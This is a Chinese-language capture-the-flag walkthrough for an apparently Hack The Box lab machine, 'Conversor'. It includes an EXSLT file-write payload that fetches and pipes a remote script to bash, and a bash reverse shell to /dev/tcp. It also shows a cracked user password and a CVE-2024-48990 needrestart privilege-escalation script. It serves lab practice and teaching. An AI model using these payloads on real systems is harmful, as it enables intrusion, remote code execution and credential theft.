# ⚔️Easy_Conversor ![Conversor_T](https://hackmd.io/_uploads/SkbifjQz-x.png) # 題目:找出使用者標籤及管理者標籤 ## User Flag ### IP連線 先連上VPN,再以 **ping** 指令測試是否與題目提供的IP成功連上,在確認成功後,以 **nmap** 指令掃描題目IP所用到常見的port,並將資訊儲存,以及將IP加入/etc/hosts裡,最後在瀏覽器輸入IP查看網站 > ``` > ping 10.10.11.92 > nmap -sC -sV -Pn -p22,80 10.10.11.92 -oN tcpInformation.txt > ``` > ![Conversor_VPN](https://hackmd.io/_uploads/SyziR9XzZl.png) > ![Conversor_IP](https://hackmd.io/_uploads/Byao0c7G-g.png) > ![Conversor_hosts](https://hackmd.io/_uploads/Hy52C9XG-g.png) > ![Conversor_Process1](https://hackmd.io/_uploads/rJ7TR9Xz-g.png) ### Login 進入網站後依步驟註冊並登入,可以看到是一個轉換xml檔案的工具,並且有提供一個xslt的檔案範本。先用 **nmap** 取得IP的xml資訊,並將所取得的xml及xslt檔案匯入,即可以得到一個經美化排版的檔案 > ``` > nmap 10.10.11.92 -oX conversor.xml > ``` > ![Conversor_Process2](https://hackmd.io/_uploads/H1raRq7zbx.png) > ![Conversor_Process3](https://hackmd.io/_uploads/S1KaA57M-g.png) > ![Conversor_Process4](https://hackmd.io/_uploads/SJ36A57zWx.png) > ![Conversor_Process5](https://hackmd.io/_uploads/BykRAcXfZg.png) ### EXSLT exslt是一組xslt的擴充函式庫標準,由社群創建,用來補強xslt 1.0的不足(尤其在數學、字串、集合操作、日期時間等功能),而其中因其功能我們可以從中編入代碼來實施監聽及其他功能。 在進入[網站](https://exslt.github.io/exsl/index.html)它會提供exslt的基本代碼,可以創建一個xslt檔案來編寫,並且在當中設定其透過指定通道來攻擊機下載腳本,而在腳本中設定主機所要反彈shell的port位 > ``` > vim shell.xslt > vim shell.sh > python3 -m http.server 8000 > ``` > ``` > <?xml version="1.0" encoding="UTF-8"?> > <xsl:stylesheet version="1.0" > xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > xmlns:exsl="http://exslt.org/common" > extension-element-prefixes="exsl"> > > <xsl:template match="/"> > <exsl:document > href="/var/www/conversor.htb/scripts/shell.py" > method ="text"> > import os > os.system("curl 10.10.14.145:8000/shell.sh | bash") > </exsl:document> > </xsl:template> > </xsl:stylesheet> > ``` > ``` > #!/bin/bash > bash -i >& /dev/tcp/10.10.14.145/4444 0>&1 > ``` > ![Conversor_Process6](https://hackmd.io/_uploads/HkbCC9QfWe.png) > ![Conversor_Process7](https://hackmd.io/_uploads/ByXRR5mf-g.png) > ![Conversor_Process8](https://hackmd.io/_uploads/HyU0Rq7G-l.png) > ![Conversor_Process8_1](https://hackmd.io/_uploads/Hy0S3sXG-e.png) > ![Conversor_Process9](https://hackmd.io/_uploads/Hy3AR5XGbx.png) ### 取得User Flag 確認開啟主機的server及監聽後,將檔案依序匯入,接著等待監聽成功反彈,並從中找出其使用者名單,將其第一位使用者的名稱及密碼雜湊記下,並嘗試使用[MD5解密](https://hashes.com/zh/decrypt/hash)並登入,成功後即可以cat印出檔案獲取User Flag > ``` > nc -lvnp 4444 > cd conversor.htb > cd instance > sqlite3 users.db > .table > select * from users; > ``` > ``` > ssh fismathack@10.10.11.92 > ``` > ![Conversor_Process10](https://hackmd.io/_uploads/H10C05XG-e.png) > ![Conversor_Process11](https://hackmd.io/_uploads/H1bJysmzbe.png) > ![Conversor_Process12](https://hackmd.io/_uploads/SyNkJsXMZe.png) > ![Conversor_Process13](https://hackmd.io/_uploads/SJLy1imM-e.png) > ![Conversor_Process14](https://hackmd.io/_uploads/BJuyyimfWx.png) ## Root Flag ### needrestart 以 **sudo** 指令查看自己可使用的管理者權限,並查看其版本,可以看到所能使用的指令為needrestart,其版本為3.7 needrestart是在系統更新後,檢查哪些服務需要重新啟動,而其在3.7版本當中所產生的漏洞為[CVE-2024-48990](https://github.com/ten-ops/CVE-2024-48990_needrestart) > ``` > sudo -l > needrestart -v > ``` > ![Conversor_Process15](https://hackmd.io/_uploads/B1hk1sXMZl.png) > ![Conversor_Process16](https://hackmd.io/_uploads/S1j_u3QGbx.png) ### 取得User Flag 將檔案下載之後,依照當中的makefile檔案拆分另製作腳本並執行,確認使用者成功接收到檔案之後,依步驟以使用者身份執行,再另開視窗且以使用者身份執行needrestart,即可提權至root,從中即可獲取Root Flag > ``` > git clone https://github.com/ten-ops/CVE-2024-48990_needrestart > vim runner.sh > chmod +x runner.sh > ./runner.sh > ``` > ``` > cd /tmp > chmod +x src/listener.sh > bash src/listener.sh > > sudo needrestart > ``` > ``` > # runner.sh的程式碼 > > #!/bin/bash > set -e > > mkdir -p build > mkdir -p attacker/importlib > nasm -f elf64 src/main.asm -o build/main.o > ld -O3 -shared -z notext -nostdlib build/main.o -o attacker/importlib/__init__.so > > password="Keepmesafeandwarm" > sshpass -p "$password" scp -r build fismathack@10.10.11.92:/tmp > sshpass -p "$password" scp -r attacker fismathack@10.10.11.92:/tmp > sshpass -p "$password" scp -r src fismathack@10.10.11.92:/tmp > ``` > ![Conversor_Process17](https://hackmd.io/_uploads/Byzlko7zWg.png) > ![Conversor_Process17_1](https://hackmd.io/_uploads/SkdqxaXzWg.png) > ![Conversor_Process18](https://hackmd.io/_uploads/BJHx1j7MWx.png) > ![Conversor_Process19](https://hackmd.io/_uploads/S1YxkjmfWe.png) > ![Conversor_Process20](https://hackmd.io/_uploads/BkneJiQzbg.png)